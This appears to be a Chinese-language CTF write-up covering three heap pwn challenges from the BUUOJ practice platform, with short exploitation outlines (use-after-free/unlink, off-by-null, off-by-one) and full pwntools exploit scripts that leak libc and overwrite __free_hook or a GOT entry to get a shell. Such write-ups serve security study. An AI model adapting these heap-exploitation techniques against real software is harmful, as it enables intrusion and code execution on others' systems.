wdb_2018_1st_babyheap(unlink, UAF)
add的大小固定为0x20
edit机会只有三次
指针悬挂
利用思路如下:
- 进行几次添加
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')
- 删除0和1,再删除一次0,此时show(0)能泄露出heap的地址
- 编辑0,修改fd为heap+0x10
- 进行一次添加,此时分配到0的地方,在其中伪造一个0x30大小的chunk,且fd为chunk0的地址
- 添加,此时能修改chunk1的size为0x91,pre_size为0x20,然后再利用添加把chunk0中伪造的chunk的size改为0x20,fd为0x602060-0x18,bk为0x602060-0x10
- 删除1,触发unlink,此时show(6)会泄露main_arena+0x58的地址,计算
__free_hook
和sytem
的地址,先在0x602060处写入__free_hook
,然后编辑0写入system
,删除4即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29610)
#r = process("./wdb_2018_1st_babyheap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400CF7
x/10gx 0x602060
c
''')
elf = ELF("./wdb_2018_1st_babyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_arr = 0x602060
read_got = elf.got['read']
menu = "Choice:"
def add(index, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("Content:")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("Content:")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index))
sleep(3)
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')
delete(0)
delete(1)
delete(0)
show(0)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x30
success("heap:"+hex(heap))
edit(0, p64(heap+0x10)+'\n')
add(5, p64(0) + p64(0x31) + p64(heap) + p64(bss_arr-0x10))
payload = p64(bss_arr-0x18) + p64(bss_arr-0x10) + p64(0x20) + p64(0x90)
add(6, payload)
add(7, p64(0) + p64(0x21) + p64(bss_arr-0x18) + p64(bss_arr-0x10))
delete(1)
show(6)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc;"+hex(libc.address))
system = libc.symbols['system']
free_hook = libc.sym['__free_hook']
edit(0, p64(0)*3+p64(free_hook))
edit(0, p64(system)+'\n')
delete(4)
r.interactive()
asis2016_b00ks(off-by-null)
edit name的时候有一个off-by-null
book结构
struct Book{
long long index;
char* name;
char* description;
long long description_size;
}
利用思路:
- 首先程序让输入名字时输入长度为0x20的字符串,这样\x00的结束符就留在book1的地方,当我们申请一个book之后利用show就能泄露出堆的地址
- 申请第二个堆的时候,大小大一些,这样会使用mmap进行内存分配,而且分配的内存和libc比较接近,这里注意要在远程机器上触发错误泄露一下内存情况,因为本机偏移可能和远程主机偏移不一样
- 再利用off-by-null把book1的地址最低8比特改为\x00,并且在此处伪造一个book结构,让name指向book2的name,这样就能借此泄露libc
- 利用编辑功能编辑book1,在book2的struct的name覆盖为bin_sh的地址,description覆盖为
__free_hook
,然后编辑book2写入system
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29708)
#r = process("./asis2016_b00ks")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1245)
x/20gx $rebase(0x202040)
c
''')
elf = ELF("./asis2016_b00ks")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "> "
def add(size1, content1, size2, content2):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Enter book name size: ")
r.sendline(str(size1))
r.recvuntil("Enter book name (Max 32 chars): ")
r.send(content1)
r.recvuntil("Enter book description size: ")
r.sendline(str(size2))
r.recvuntil("Enter book description: ")
r.send(content2)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Enter the book id you want to delete: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Enter the book id you want to edit: ")
r.sendline(str(index))
r.recvuntil("Enter new book description: ")
r.send(content)
def show():
r.recvuntil(menu)
r.sendline('4')
def edit_name(name):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Enter author name: ")
r.send(name)
r.recvuntil("Enter author name: ")
r.send('a'*0x20+'\n')
add(0x90, 'aa\n', 0x90, 'aa\n')
add(0x21000, 'aa\n', 0x21000, 'aa\n')
show()
r.recvuntil('a'*0x20)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x160
success("heap:"+hex(heap))
payload = 'a' * 0x40 + p64(1) + p64(heap+0x198)*2 + p64(0xffff) + '\n'
edit(1, payload)
edit_name('a'*0x20 + '\n')
show()
r.recvuntil("Name: ")
#offset = 0x7fc715ef1010 - 0x7fc71593e000
offset = 0x7f4875e6a010 - 0x7f48758a4000
libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - offset
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search("/bin/sh").next()
edit(1, p64(bin_sh) + p64(free_hook) + '\n')
edit(2, p64(system)+'\n')
delete(2)
r.interactive()
ciscn_2019_n_4(off-by-one)
简单的off-by-one,直接利用GOT表就能get shell
自定义堆控制结构如下:
struct Heap{
long long size;
char *content;
}
在edit时有一个明显的off-by-one
利用思路也很简单:利用off-by-one把下一个chunk的size改大,把下下个自定义堆控制结构包含后释放,重新申请来吧aoi_got写进去,show+edit就能get shell
Exp:
from pwn import *
menu = "Your choice :"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("how big is the nest ?")
r.sendline(str(size))
r.recvuntil("what stuff you wanna put in the nest?")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("what stuff you wanna put in the nest?")
r.send(content)
r = remote("node3.buuoj.cn", 29730)
#r = process("./ciscn_2019_n_4")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400D80
x/10gx 0x6020A0
c
''')
elf = ELF("./ciscn_2019_n_4")
libc = ELF("./libc/libc-2.27.so")
atoi_got = elf.got['atoi']
add(0x18, 'chunk0\n')
add(0x18, 'chunk1\n')
add(0x18, 'chunk2\n')
payload = 'a'*0x10 + p64(0) + '\x60'
edit(0, payload)
delete(1)
payload = 'a'*0x30 + p64(0) + p64(0x21) + p64(8) + p64(atoi_got)
add(0x58, payload)
show(2)
r.recvuntil("Decorations : ")
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.sym['atoi']
success("libc:"+hex(libc.address))
system = libc.sym['system']
edit(2, p64(system))
r.recvuntil(menu)
r.sendline('sh')
r.interactive()